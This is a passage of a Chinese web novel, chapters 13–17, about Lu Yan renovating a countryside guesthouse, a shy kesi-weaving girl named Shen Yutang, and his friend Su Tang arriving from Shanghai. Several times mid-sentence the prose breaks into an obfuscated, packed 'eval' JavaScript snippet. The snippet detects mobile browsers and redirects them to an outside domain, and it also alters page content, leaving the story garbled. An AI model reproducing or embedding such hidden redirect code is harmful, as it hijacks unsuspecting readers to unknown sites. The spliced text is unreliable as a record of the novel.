虽说心里没那么乐意吧,可自己毕竟是未来百年花店的嫡系继承人,老洋房那几株玫瑰的长势实在不乐观,到时候那个男人回来以后,自己的脸上也着实挂不住呀。 尽管对方也拿自己没办法,但多多少少也算个熟人,偶尔做点好事,能满足他人心愿,还能行善积德,未来说不准,用得到这些德行积分呢? 念头通达以后,苏棠从房间里冲出来: “妈妈!” 正在沙发上躺着玩手机的女人吓了一跳:“别这么叫我,你先说事。” 苏棠身形一僵,酝酿的笑容只露了六分,便卡死在这个平平无奇的傍晚。 她深深吸了口气——沙发上的女人也做了同样的动作,甚至一度有比苏棠更紧张的架势。 “.......我一个朋友,想种玫瑰,然后他问我怎么种。” “哦。” 梅丽华太了解自己的女儿了,怎么也不会相信,她,苏棠,会兴致勃勃跑过来问栽花技巧。 不然呢,平时这丫头都干嘛去了? 自家孩子对花感不感兴趣,她观察二十年了,还不知道? “所以我来问问你,玫瑰怎么种。” “铺垫完了?说正事吧。” “......这就是正事。” 女人盯着房门口的睡衣,脸颊还有一丝婴儿肥没有褪去,因此她常常扮演着严母的角色—— 再三确认下,居然真的只是问花的事,一个翻动坐直了身体: “哪个朋友能把您给说动啊?之前让帮忙看着点自家生意,我数数喔,这么多年来过几回啊?” 果然,苏棠就知道事情没这么简单,就知道,应该老老实实待在床上不要随意走动。 若不是百度的法子不管用,她也不会落到如此地步。 “哼,不要啰嗦,我们家到底有没有什么秘方,要是没有我可就回去躺着了。” 虽然知道她在耍宝,但心下一股火还是窜了出来。 梅丽华知道,自家孩子是真的可以躺着,躺很久很久的那种。 “你说你这姑娘是怎么回事,你朋友要玫瑰、你不会把人带店里来买啊,咱们是开花店的,不是园丁,要是人人都会种花了咱们家是不是得喝西北风去?” 睡衣见状,预感情况不对,顿时退后一步,随时准备执行planB: “不说就不说嘛,我就随口问问。” “好好好,随口问问是吧,想学我教你啊,明天早点来店里,我天天示范给你看。” 眼见自家母亲从沙发上起身,有向这边逼近的趋势,她抢先一步退回房间,砰地把门带上。 还没来得及去微信上找陆砚泄火,门外就嘱咐道: “现在换身衣服,我们去外面吃,你爸今天出差回来了。” “......好,知道啦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陆师傅,方案很好的。之前说的十万块钱的事......我已经把欠条写好了。” 是个诚意满满的回答。 或许第一印象的不满,现在可以勾销了。 “就是说,动工能不能等几天,总得让这批客人走了才行吧。” ......合理的要求,当然答应了。 第十三章 谁也没想到呐 小时候,跳上三级台阶就能攥紧拳头笑出声,那点成就感足够乐上半天;再大些,得连着两回稳坐全班第一,才肯双手插兜,慢悠悠歪嘴一笑。 如今晃到离二十八岁只剩一个月,快乐的阈值像被慢慢垫高的门槛。 从前踮踮脚就能够着的欢喜,现在即便踩着台阶也够不着边——就算眼下事事顺意,心里也掀不起半分雀跃。 所以幸福感真的和成就有关吗? 仔细琢磨,并不全是。 那颗该死的心脏像石头,堵住了快乐的泉眼,每每想竭力挤出一丝喜悦,石头便沉得更厉害,传来的压力,便多了一分—— 这些年跟着跑过不少项目,做得都算稳妥,偏是第一次独立牵头,就出了那样大的纰漏。这阴影盘在心里,沉甸甸的,大概还要悬一阵子。 压力之下,寻声往客厅望去,小黑、张野和冯小军意外打成一片,喝桑葚酒、品三国。 刚要走过去的时候,便瞧见小黑眼睛一亮,清了清嗓子说: “读史可以明鉴,以史为镜,方能见真我。” “小军,这才是文化人,你大学哪么学的知识?” “...” “咳咳,话说三国里面,我确实观照到了不少人性,据野......” 眼见对方大招前摇已启动,陆砚赶忙躲开,退至众人身后。 说实话,他的野史就像‘春眠不觉晓,处处蚊子咬’那样洗脑。 娱乐性,有的,但每每感到娱乐的时候,‘处处闻啼鸟’就会哀嚎——花那么功夫**得的知识,可不要全被篡改咯! 或许是自己的心太狭隘了吧...... 大厅到门口,短短十来步的距离,便是另一番光景。 柜台边,沈语棠在灯下练习缂丝。 织机,踏板,浅青色的线绷直在上面,右手拿拨子来回挑动着。 此前他一直对缂丝没有概念,如今见着,还是看不出个所以然来。 看来要把二楼缂丝房修出模样来,还得多向小姑娘取经: “雨姐,干嘛不到房间里练习?外面多闹腾啊。” 拨线的手顿了顿,一个坐着,一个站着,隔了三步远,她的声音刚刚好: “陆哥......我要在门口等客人回来,锁门呢。” 这声‘哥’倒是喊得悦耳,出乎意料的,比装修事项顺利、还要来得有成就感...... 不行,如此价值观,不可取! “之前听你说,学手艺以后给店里多个添项,是要带客人体验吗?” “是喏,计划是这样。” 那双眼睛像本摊开的书,‘羞赧’两个字一眼就能瞧见。 有时候人很奇怪——对方越不好意思,自己就越放得开: “以后当老师,有没有压力?这两天不动工,你可以先拿我练练手。” 看在你帮忙换被套的辛勤劲上,咱肯定当个好学生! 隔壁响着吃瓜仔的惊呼,这里等着一个腼腆姑娘的答复。 沉默之后,拿着竹拨子的手紧了紧,她起身把椅子让出来: “陆哥,那你坐。” 好家伙,差点以为被拒...... 还有,咱是当学生的,我坐? “咳咳!” 俗话说,不在其位不谋其事,既然做了她的位置,那么就有义务拿出几分认真: “先说说,缂丝是什么?” 学生?学生也是顾客,顾客可是很难搞的! 此时他扮演的是个脾气很硬的客人。 “缂丝......它,它要先准备经丝,一根牵到织机上......然后,然后用纬线......” 沈语棠磕磕绊绊地说着,陆砚感觉情况不对,却没有打断。 现在还不是提意见的时候。 何况每个人有每个人的情况,学生应该有教无类、因材施教,才可以把老师培养成才...... 总之先熬吧,把小姑娘自信心熬出来。 ...... 苏国喜回来了,苏家就太平了;苏国喜回来了,青天就有了。 苏棠在脑子里狠狠告了梅丽华几状,其中小罪无数,重罪有三—— 其一,每天喊她早起,睡眠不足严重影响健康生活。 其二,在家态度恶劣,不利于她的自尊心发展。 其三,因为上了陆砚的车,遂把痛失老顾客怪罪到她头上。 “苏棠,没事别总在家待着,这几天你收拾收拾,去学校住,昂!” “我——” “住宿费不能白交吧?现在赚钱不容易,你这孩子要多体谅体谅父母,听话,就去学校住一个月,每天生活费给你多发二十块......” 很多时候,真相就像糖果里的夹心,要人们破开一层包装、一层糖衣,放进口里细细咀嚼,才能清楚里面的滋味。 明显,‘赚钱不容易’和‘每天多给二十生活费’相矛盾,她正要开口挑刺,却被本能遏制—— 饭桌上,女人目露‘凶光’;又看了看旁边的男人,对方拒绝眼神连线。 毕竟刚被花店老板装模作样抱怨一顿,说‘自家就是开花店的,干嘛还从别的地方买’。 然而年轻的时候有多吃男人这套、以至于结婚以后还要专门开个店的事情,全然被抛之脑后。 苏棠读着沉默中的留白——懂了,要她走。 呵、呵。 有时候,真是受够了这个勾心斗角的世界,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123309|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么人和人不能好好相处呢? 为什么亲密如同一家人的他们,有话要藏着掖着呢? 那些拐弯抹角,在真心面前大可不必! “妈妈,这个家我住了那么多年,还是有感情的。” “干嘛?别来煽情这一套,你爸泪点低。” “......不,我是说,得加钱。” ...... 夜风嚎过平坦的田野,吹动薄雾、凝上露水,把有条理的心绪搅得一团乱。 亮堂堂的灯下,两道人影—— 一个坐着,一个站着,隔了一步远; 一个在说,一个在听,但咫尺天涯。 倘若多年以后,沈语棠成了远近闻名的非遗传承人,那么当她写回忆录的时候,陆砚一定会建议第一句这么写—— ‘谁也没想到,我会让那么多人,对缂丝产生兴趣’。 折磨。 真的折磨。 “经丝一开始是生丝......先放锅里煮,放、碱水去胶质,不然,就太硬......” 陆砚若有所思地点头,微笑。 为了不违背本心、被诚实之神惩罚,他没有开口称赞,只是用眼神鼓舞对方。 眼睛里的风啊,**。 自己一定要让对方如沐春风、帮其建立自信,才能抵消‘内向小姑娘一脸认真讲解,而自己大部分时间走神’的愧疚。 倘若多年以后,自己上了电视,成为远近闻名的实力派和偶像派演员,那么写回忆录的时候,第一句一定要这么写—— 谁也没想到,我只是做了个副业,竟意外发掘了演技天赋。 沈语棠说了一会,深吸一口气,踩下踏板,经丝分开一道细缝: “你看,现在这样就能穿纬线——” “噔噔噔噔噔!” 喔! 是伟大的微信通话铃声! 陆砚懊恼拍了拍脑袋,虽不情愿,还是说着‘沈老师,今天就到这吧,慢慢来,会好的’,匆匆起身告辞。 三步并作两步,呼吸到二楼空气的一瞬间,他开心接通了视频: “喂!苏棠!” “喂!陆砚!我被家里赶出来了!” “...” 或许,或许世上的开心是守恒的。 所以自己开心了以后,苏棠就倒霉了? 画面里,一只摊开的行李箱不断被她的衣物填充着,红的白的蓝的黄的紫的粉的...... 真厄运转移了? 不不不,这么沉重的事情,还是她自己背锅吧。 “什么情况?你把家里的月季偷了,换成老洋房蔫巴巴的玫瑰了?” “对!真是好主意!陆砚你个没良心的,等着吧,明天我就把花拔了过来找你!” 第十四章 高手 搞不懂,为什么总有人喜欢把‘没良心的’名号安在自己身上。 但他知道,此时带着一个无关紧要的女人,是不利于团结和开展工作的。 “咳咳,小苏啊——” “叫名字!” “......苏棠,虽然不知道你为什么被赶出来,可千里迢迢来苏州,应该、大概不是个好主意。” 摄像头一转,画面从堆着的衣物切到张脸—— 镜头离得极近,看起来脸颊肉鼓鼓的,像是攒了股气,却没什么威慑力,连眨眼都忘了,只梗着脖子: “你少来,张师傅说了,这两天你们歇着。” 好,对面竟然还先做了功课,看来苏大小姐是通知,而非商量了…… “但是苏棠,我们就歇两天,你带这么多衣服干嘛?” 像被指尖戳中了痒处,那点装出来的严肃突然垮了,侧脸一下子离得很远,语速飙快: “以防万一不行吗......真啰嗦啊,明天下午准时去火车站接驾,要是再让我等那么久......你的花就完蛋了!” “小姑娘越发没大没小了,开花店的天天糟践花,像话吗——” 等等。 或许,她被赶出来,就是因为在店里搞破坏? 突然觉得这很苏棠——明着硬刚没胆子,暗戳戳搞点小动作倒是情有独钟。 陆砚想着,忍不住低笑出声。 告状啊,看你在家怎么告状~ 再一口一个杨—— “陆砚,我的车票发你了......” ‘生气’不管用后,画面里的人忽然蔫了,眼尾垂下来,脸上破天荒写着点不安。 男人猛地醒过神。 她从上海奔来,或许并不是个没负担的决定。 相反,没收入,单是这趟花销,恐怕就得啃去大半个月生活费…… 那么,究竟是什么原因,驱使小姑娘特地跑来待几天呢? 陆砚说不清,只觉心里像被什么东西撞了下,堵着的地方忽然松了,暖意慢慢漫开来。 他放缓了声音,一字一句说得稳当: “知道了,一定到。” ...... 十一月的震泽镇,清晨带着霜气。 站在缺角的青石板,越过窄路望去,田埂蒙在淡雾里,淡得像影子。 此时,沈语棠已把门口和大厅的灰扫得干干净净,才抱着衣篓上楼。 门前,侧耳,听见里面水流声,指尖在门板上叩了三下。 “咔哒!” 推开门,撞进陆砚眼里的,是张素净得像宣纸上刚落墨的脸。 她的皮肤白得透匀,鬓角垂着两缕碎发,绣着兰草的小袄子,领口别布扣,见了人,眼睫垂了垂: “陆哥,我来收拾房间。” “雨姐,该先说早上好。”陆砚扬了扬下巴,转身往洗漱台走,牙刷刚塞进嘴里,含混着泡沫补充,“这是仪式感。” 望着他背影,沈语棠手指悄悄捋了捋鬓角,口吻轻得像呵出白气: “……叫我名字就好。” 哦哟,又来个爱较真名字的。 该说不说,名字好听就是有优势。 额,刚才想到哪了? 建材预定单得催,民宿电路得查,给沈语棠改的那间房,房间布置和构造要考虑到缂丝的流程和工具…… 等漱完口出来,那双拨动丝线的手正在帮他套垃圾袋。 竹篓里换下来的床单叠得方方正正,床上的被子折得棱角分明,她手指纤细,骨节却透着劲,捏着垃圾袋口一拧,系得利落极了。 沈语棠的勤快动作他看在眼里,忽然想起这姑娘还未满二十。 天天这样从早起忙碌,再赶着去学缂丝,哪有半分同龄人的闲散? “......语棠,你每天都这样,然后去学手艺?” 她正往竹篓里塞换下来的枕套,闻言停了手,仰着头答复: “是的。” 不知怎的,对方声音越小,便听着越来气。 年纪轻轻的,哪怕蛮横点、偷懒点又何妨? 或许有时候人需要被推一把才能前进,他故意板起脸,提高了声调: “大声点,我听不见。” 心里却在念叨:小姑娘,支棱起来啊。 沈语棠抬眸望他,眼瞳亮得像浸了水的墨石。 没提高声音,语调依旧温和,目光轻轻扫过,却笃定道: “你听得见,别唬我了。” “...” 陆砚一怔。 她平时沉默,心里却亮堂得很。 不说破,不解释,只用这么句软乎乎的话挡回来,像根羽毛轻轻搔在心上。 好家伙,林妹妹的魂怕不是附在沈语棠身上了...... 看着弱,却韧得像桑枝;看着静,分寸里藏着的伶俐,比蚕丝线还细。 就,给人很不一样的感觉。 ...... 苏棠昨晚考虑了一下,火车站离得挺远的,让陆砚来接有点不太好意思。 再说了,她要的是个态度,既然对方答应了,那就提前出发,悄摸声的跑到旁边、突然蹦出来吓他一跳吧! “妈妈,我去学校啦。” 房门闭得紧,没声。 向来早起的花店老板娘如今睡得死,而几乎百分百赖床的女大学生却早早准备出门。 这一切的变故都是因为一个男人的回归...... 可恶,难道人类早起也遵循守恒定律吗? 回头看了一眼即将分别一个月的房子,它被人打扫得整洁,沙发上落着沙发罩,垃圾桶套着崭新的垃圾袋。 故事里常说,离开时要带一捧故乡的土,如今整间房子又哪有她染指的物件呢? 蒜鸟蒜鸟...... 出了门,苏棠拿着花瓶里的花,往学校的方向走了几步,便是‘去学校’了。 然后打车,前往虹桥火车站。 ...... 原本只想随便对付一口,结果今天有特色早点,吃着吃着便撑着了。 那就散个步吧。 原本只想在村里闲逛悠,结果又撞见了赵老汉,聊着聊着便到家了。 到了王师傅家。 所谓蝴蝶效应莫过于此,安排给自己放一天假,绕到最后还得应酬。 应酬即工作,工作的时间总是让人记忆不深刻,一晃眼,回到民宿的时候都十一点半了。 好吧......其实记性也没那么差。 时间回到八点五十,犹记得王师傅家土坯房依然得靠窗台上的仙人掌撑起气色。 赵老汉的手在门板上歪歪扭扭的‘蚕’字上扣了扣,扯着嗓子喊: “王师傅,上海来的贵客又来了!” “进吧。” 推开门,土坯墙的白灰摇摇欲坠,里头露点暗红的泥。 水泥地很旧,却被墙角的木架衬得亮堂—— 架上摆着桑枝工艺品,老桑枝被削得溜光,枝桠弯成蚕匾的模样。 陆砚记得,里头有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他把手伸过来,陆砚配合拢过去,不想他又突然往回缩,嘿嘿一笑: “哦哟,伤都好了咧。” “...” 老人也是黢黑的皮肤,比赵老汉的更干、更黑,笑起来同样......有点傻气。 但此时看着那双明察秋毫的眼睛,却觉得,自己是这里最傻的人。 对方究竟喜不喜欢喜庆话? 从常理来说,没人不喜欢。 只是手段太低级、目的太明显,加上听惯了奉承的人,把胃口养刁了—— 他是这样认为的。 王老汉......不,王师傅绝对是个通达的人。 陆砚看着那墙角掉了漆的木桌,桌上摊着块桑木,刻的是个采桑的姑娘。 那雕塑可不一般: 头巾的褶皱用斜刀刻得深浅不一,手里的桑篮沿还留着刀削的弧线,摸上去却光溜得很,该是磨了千百遍。 有时候,一个人的事业会替他开口。 如果不经历生活的反复捶打,又怎么在人人会点手艺的村子里,一步步走出来呢? 如果不受反复折磨,又怎么会从一个坐不住的孩童,历经六十年风雨,变成如今清晨就来工作的师傅呢? 回过神来,王师傅‘哎’了一声扑过去,捏起来对着光看: “找着了!” 看着对方露出质朴而天真的笑,陆砚当真觉得高深莫测。 都说老人和孩子可以治愈人心,想来是有原因的—— 至少就老人而言,你总能从他的褶子里,找到千帆过尽后的豁达。 赵老汉提醒道: “王师傅,快戴上,免得又掉咯!” “晓得了、晓得了!” 镜片上沾着灰,他直接用袖子擦,擦完往鼻梁上一架,突然皱起眉,“**,反了!” 第十五章 两个林黛玉 陆砚怀着谦卑的心在王师傅家待到中午,后准时赶在午饭点回民宿。 当然,他没有忘记今天要去火车站接苏棠的事—— 一点半的车,不急的。 “雨姐......语棠,还说不是掐着点回的,每次中午饭你都来得刚刚好咧!” 走到门口,一身月蓝色小棉袄的沈语棠正巧出现,两人前后脚、像是约好赴宴。 “陆哥,中午好。” 好吧,小姑娘看起来谈兴不高,没被他的胡言乱语带动注意力。 两人并肩到门口,又同时侧开身,让对方先进—— 自己是绅士风度,她又是因为什么呢? “你先——” “你们回来了呀,快,去桌上吃饭!” 沈秀娥端着菜盘往大厅走,大厅坐着几只张嘴叫唤的麻雀—— 此时,最黑的那只已然说到‘司马懿假扮黄月英’的典故。 为了不让小朋友被带坏,陆砚当即选择了打断施法: “诸位大哥们且抬头!” 此言一出,有种‘全体都有,向我看齐’的效果: “认识不认识,我的旁边是哪位?” 沈语棠听清内容,陡然升起夺门而出的冲动—— “喔!这不雨姐吗!” “雨姐好!” “公主请落座!” 嗯,女孩果然是最好的催化剂,不仅活跃气氛,还会把男人的视线紧紧把住。 这不,此时记得‘司马懿假扮黄月英’的,估计就自己和小黑了...... 该死!快忘掉这种东西啊! “别雨姐了!这年纪、这气质,难道哥几个还想当她弟弟不成?” 论引经据典,还得是小黑,他一把起身,走出人群、以拳击掌、恍然大悟道: “是妹妹!这个妹妹啊,我曾见过的。” 在苏州,红楼梦属于绕不开的文学巨著,而文学巨著因其门槛高,常被人熟读的、记住的内容,是开头几章。 此时正是耳熟能详的,宝黛初相见的剧本。 不过一个是‘面若中秋之月’的贾宝玉,一个是尚未知其全名、但是人如其小名的小黑—— 额,难道是**版野史? 别待会嚷着,那些魔改故事,都是通灵宝玉传来的! 陆砚一边示意沈语棠去坐,一边心里给她道歉。 大不了以后多客串下学生,教她讲讲课...... 目前长桌坐六人,旁边的客人跟老板娘升级了套餐,现在他们吃一样的饭菜。 一样的饭菜、同一张桌子,那么自然要聊同一个话题。 作为场上唯一的女孩,众人还是比较关心的,张野首问: “沈妹妹,你在外面有没有被欺负?” 他喝了口酒,一连回味道:“我上小学的时候就爱欺负文静的女同学!” 冯小军欲言又止,夹了口菜,还是没把‘你之后还欺负女同学吗’问出来。 因为想起来,张师傅初中没上完就...... 沈语棠侧着身子,正准备去夹远手边菜盘的筷子僵了下: “......我不会被别人欺负的。” “咳咳,咳咳。” 她的话语就像‘小兔子说我有飞**腿,狼来了只能自讨苦吃’,引来礼貌的憋笑。 尤其是小黑夹着嗓子,发出了鸡叫: “姆妈!是谁哦,昨天喊大人帮忙~” “扑——哈哈哈!” “666666!” 这波没绷住,大家都是成年人,实在没想到会来这出。 什么是艺术? 就是让小豆丁扎着冲天辫扮李逵抡板斧,让文弱书生架着眼镜客串张飞吼阵,让粗嗓门小黑捏着嗓子学沈语棠的娇软调子——玩的就是那股子反差! 真正厉害的黑子,从来不惮以扮丑的狠劲去拖对方下水,这才是把艺术玩到了家! 众人齐刷刷把目光投过来,小姑娘又被盯红了半边脸。 这便是女孩的魔法,男人总看不腻! ......总看不腻。 压下喉头的酸劲,陆砚若无其事的帮忙把盘子端过来,调侃道: “语棠,别学缂丝了,学京剧吧,变红脸都不需要道具。” 沈语棠只是着急忙慌的从盘里夹了那么一点点,放碗里,生怕把人累着了似的。 可他又哪里会在意这些呢? 面前的姑娘,和曾经那个姑娘八竿子打不着联系,偏偏这如出一辙的霞色,让人不禁回望。 她是多么的纯净、美好。 仅仅是站在原地,让陆砚远远的思念一会,都会产生难以割舍的满足...... 车子引擎声从门外传来,随着后备箱被磕上后,清脆的声音带他从缱绻幻觉中脱离: “陆砚!帮我搬行李!” 男人一惊,看向张野。 张野点点头。 苏棠到了。 ...... 沈语棠偶尔会觉得开心,但开心的情绪像浮在空中的雾,风一吹来,那片被人踩得夯实的土地就露了出来。 土地才是她的根,踩在土地上,才觉得踏实。 所以家里不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131654|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论迎来送往了多少客人,她总是沉默面对。 沉默着、沉默着,也就习惯了—— 其实女孩一点也不害羞,只是想得太多、太远,眼前的事情倒显得应接不暇了。 就比如说,上海来的陆......师傅,从见到的第一眼,对方就像携着乍暖春光而来,温和、幽默,从不拘着、端着。 她时常会想,这样优秀的人,怎么会从天而降,兀的出现在门口狭仄小路上呢? 每次瞧过去,他的瞳仁可比最饱满的桑葚还黑,眉毛比桑树枝还直挺,带着股不折的劲—— 别人不接的事情,他垫着款就做了;帮忙换被套时会说谢谢,昨天还耐心陪着自己教学。 没人知道这对她来说,对她们家来说,有多重要—— 就像梦一样。 还是随时会醒的梦。 好在自己记性不差,他说的话,心里头总难忘记: 就比如,今天他说,见面要先说早上好,所以中午的时候她说了中午好; 他说不要偷偷喊陆叔叔,自己便再没有恶作剧的想法。 望着此时和众人打趣的他的衣领,望着正带头调侃自己的他的侧脸,忽然就......有点心酸。 这些天的一切都很好。 只是,只是偶尔,她看着眼前的雾,会不由自主想起脚边的泥。 大概,那是一种名叫命运的东西,牢牢把自己吸着,双腿离不开地。 只能雾来时,伸手摸上一摸,等雾散去,伸开手掌,偶尔回味回味。 “陆砚!帮我搬行李!” 门口传来一个很好听的女声。 那话语里的劲,是自己丢了十来年、至今没拾起来的。 他一下子就从旁边起身,离开了。 沈语棠看着男人的背影,突然想到他们一起去镇上吃混沌的中午—— ‘喊你语棠是为了和那个姐姐对仗,她叫‘苏棠’,诶?名字倒挺合苏州的意,你们俩还挺有缘分’。 ...... 苏棠到了,第一件事就是在门口大声通知,让陆砚去帮忙提箱子。 像阵带着铃音的风撞进门廊,陆砚抬眼时,正对上她眼尾扬着的笑,背带裤、稚气未脱的脸,一如修老洋房的那个夏天。 他抬脚迎上去,没问‘怎么提前了’,也没说‘该去接你’,只顺着那股熟稔劲儿笑: “瞧瞧这是谁啊,好生娇气,几步路自己搬不了啦?” 而她,一手叉腰,一手比耶、缓缓横过眼前: “嘿嘿!姑苏,林黛玉!” 第十六章 ‘抽象\’文化 来得早不如来得巧,所谓来得巧,也包括‘虽没赶上开席,但剩菜依然够吃’的情况。 沈姐帮忙拿来碗筷的时候,热情尽显: “恰好还剩一间房,这不刚好嘛!小姑娘你住几天呀?身份证带了吧?” 苏棠先瞄了眼陆砚,遂瓮声瓮气回道: “先......住两天吧。” “才两天?小苏,两天我酒都醒不了,时候也太短了吧!” “是吧,那就——” “就两天。沈姐,她还在上学呢,以后多的是机会过来。” 沈秀娥从善如流,唤沈语棠去拿点心,自己在旁边给众人泡茶,看向苏棠: “说得也是,现在还是以学业为重。不过既然是陆师傅的......朋友,第一次来我们这边,房费肯定是不能收的哟!” 老实人总不爱接受他人恩惠,因为此举不仅得承情,往后也多了份负担,总要一心寻个机会偿还。 可有一种恩惠是例外的: 这波助攻精准戳中了陆砚的软肋——众所周知,男人偶尔好点小面,尤其是朋友面前。 不待苏棠拒绝,他已经起身表示感谢: “苏棠,瞧瞧苏州人民的格局,你也是姓苏的,以后可不准小气!” 她顺从点头,忽然从包里掏出一束花,花被雾面纸包着,外面系了根蓝色丝带: “送给你,谢谢沈姐姐。” 沈秀娥顿了顿,立马喜笑颜开接过来: “我也谢谢你!果然姓苏的小姑娘,和我们这地方合得来咧!” 陆砚看着那朵疑似从上海过来的粉红玫瑰...... 不是吧? 不会是借花献佛吧? ...... “张哥,那俩人呢?还在楼上房间?” 冯小军有个微不足道的长处,那就是上厕所时间特别长。 此刻顶着额头细汗,打量一圈,屋子安静得不正常——张野在客厅徐徐饮酒,老板娘杵在前台玩手机。 年轻人呢?远道而来的朋友呢? “小军啊,紧张什么?坐。喝了这杯还有一......喝了我就告诉你。” 张野晃荡脑袋的劲,像山上的神仙,快活得不像样。 看着那杯紫澄澄的桑葚酒,饮料似的正好虚脱之后补水,二话不说就闷了。 “玛德,碰都没碰就喝了?” “张哥你别赖,大中午的,咱还是别喝那么多。” 呵,张师傅的一点套路他已经清楚了,凡是朝着喝酒去的,全是他的诡计,无一例外! 而张野挺了挺腰杆,想像小黑那样拿着话头说出个一二三来,结果却发现万千言语,凑不成句子,只得作罢。 自己名字里就有野,怎么不能‘据野史传’,讲几句大伙开心的话出来呢? “......陆哥带着小苏,去镇上玩了。” “啊?那咱们呢?不去了?” “害,你小子,没点眼力见吗,小苏又不是跑来参加团建的......” 张哥、张哥,张野很爱听这个叫法,尤其是苏棠那丫头喊出口的时候。 不管是大声小声、什么口吻,能凭着年纪被人喊一声、和人认识以后说上几句话,日子差不多就够意思了。 初中都没上完的人生,自己还能奢望什么呢? 冯小军看着塑料杯里的酒,又看了看对面砸吧嘴的男人,他是能理解的。 苏棠那样的女孩子,确实,即使算上他学生会里的身份,也很难触碰到...... “张哥,陪你喝一口......然后我就不喝了。” 他也曾在夜深人静的时候幻想过,但毕竟年轻,第二天的太阳照在身上时,便又能准确扎在真实生活里。 生活告诉他,酒,应该在恰当的时候喝。 ...... “林黛玉,注意点形象好不?” 苏棠蹲在船头录河景,闻言转过头,带着点不服气地哼了声:“我这叫自由创作~” 她把手机镜头怼到陆砚面前,屏幕里是他瞪眼的样子,“哎呀,来笑一个,生活要有松弛感呀!” “想多了,我只是站在苏州人民的角度,抨击你顶着林妹妹的头衔而已,人家可是才女!” 这边说着,那边她眼睛一亮,凑过来,手肘轻轻撞他胳膊: “哎,才艺我也有啊,我给你学个绝的,马叫!你听着啊——” 话音刚落,她脖子微微一扬,喉间甩出清亮的: “咴儿——”,尾音还故意拖得长长的。 正好船进了桥洞,回声‘嗡’地漫开,像有匹小马驹在桥洞里撒欢跑了个来回。 喊到一半自己就先乐了,本就绷着的陆砚也跟着笑,越笑回音越大,越显得开心,越开心,笑得越大声。 “鹅鹅鹅——” 船过桥下,阳光打在女孩柔顺的发丝上。 本是盖在两颊显得乖巧的发型,而此时却疯得放飞了自我。 她捧腹时眼里的亮,像河面的粼粼波光,河水缓缓流淌,喜悦也缓缓流淌。 “这个、这个就叫抽象,是不是很绝~” “是的。” 确实很绝。 谁能想到,刚来老洋房那会,苏棠是个算得个安静的小姑娘呢。 即使偶尔摇头晃脑地蹦着些网络词汇,可那也是念叨几句的程度......和今天远没得比。 陆砚刚想说感慨几句,却突然意识到,这会显得老气,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆砚看着她被风吹乱的刘海,还有发间不知何时沾上的一片芦苇絮,身上枷锁好像也渐渐脱去。 清了清嗓子,学着她的样子张开手,指节还有点僵,可一抬眼撞见女孩憋笑憋得发红的脸颊——可爱捏——那点僵硬突然就化了。 “来咯!” 苏棠摆出‘美女投降’起手式,先喊了声‘啊——’,声音落在水面上,溅起一串银闪闪的笑。 陆砚望着她眼里碎开的光,深吸一口气,喉结轻轻滚了滚。 第十七章 歌唱吧 暖黄灯光,空空的唱台,破吉他酒馆边缘桌上,坐着陈禹和阿乐。 可惜的是,有李白的举杯邀明月在前,他们此时的孤独和饮酒,便只能沦为普通人的那档了。 “乐哥,虽然我正好想出来喝点,但毕竟是你喊的我,那还是你先发牢骚吧。” 阿乐目光睥睨,仿佛和对方混为一谈是遭遇了碰瓷。 “禹哥啊,同样是端起酒杯,人生得意和人生失意的差别还是蛮大的。” 说着,人生得意主动帮忙人生失意递烟、倒酒,倒完以后顺带凑过去点火,亲和得不像话。 快要成精的陈禹面色如常,不经意道: “今天突然想喝OldFashioned,但是又不知道合不合适。” 阿乐面色一僵,当即回道: “合适,怎么不合适呢?就是有被恶心到,还OldFashioned呢,真洋气,谢谢您。” 听着对方被恶心但依然不拒绝的表述,甚至隐隐有请客的打算,陈禹虽疑惑,却越发得寸进尺的试探: “干喝啊?咳咳,鸡尾酒配烤串......就有点不合适了。” “禹哥,好说,好说。” 嗯,看来还没探到底。 不过真正的高手懂得松弛有度地薅羊毛,他决定缓一缓节奏,给对方吃颗定心丸再继续: “乐哥,你这样大方的话,我就是拼着砚哥受伤,也要向你表忠心了!” 眼见陈禹胸脯拍得震天响,阿乐眼神里一连闪过好几种情绪,即开心又紧张。 措辞酝酿了几道,眼瞅着时间差不多了,遂吞吞吐吐说: “我约了人,一会来......” “嗯哼?” “她说让我不要跟陆砚讲......我本来没想到这茬的,结果这么一提......我思来想去,还是得跟他说一声。” 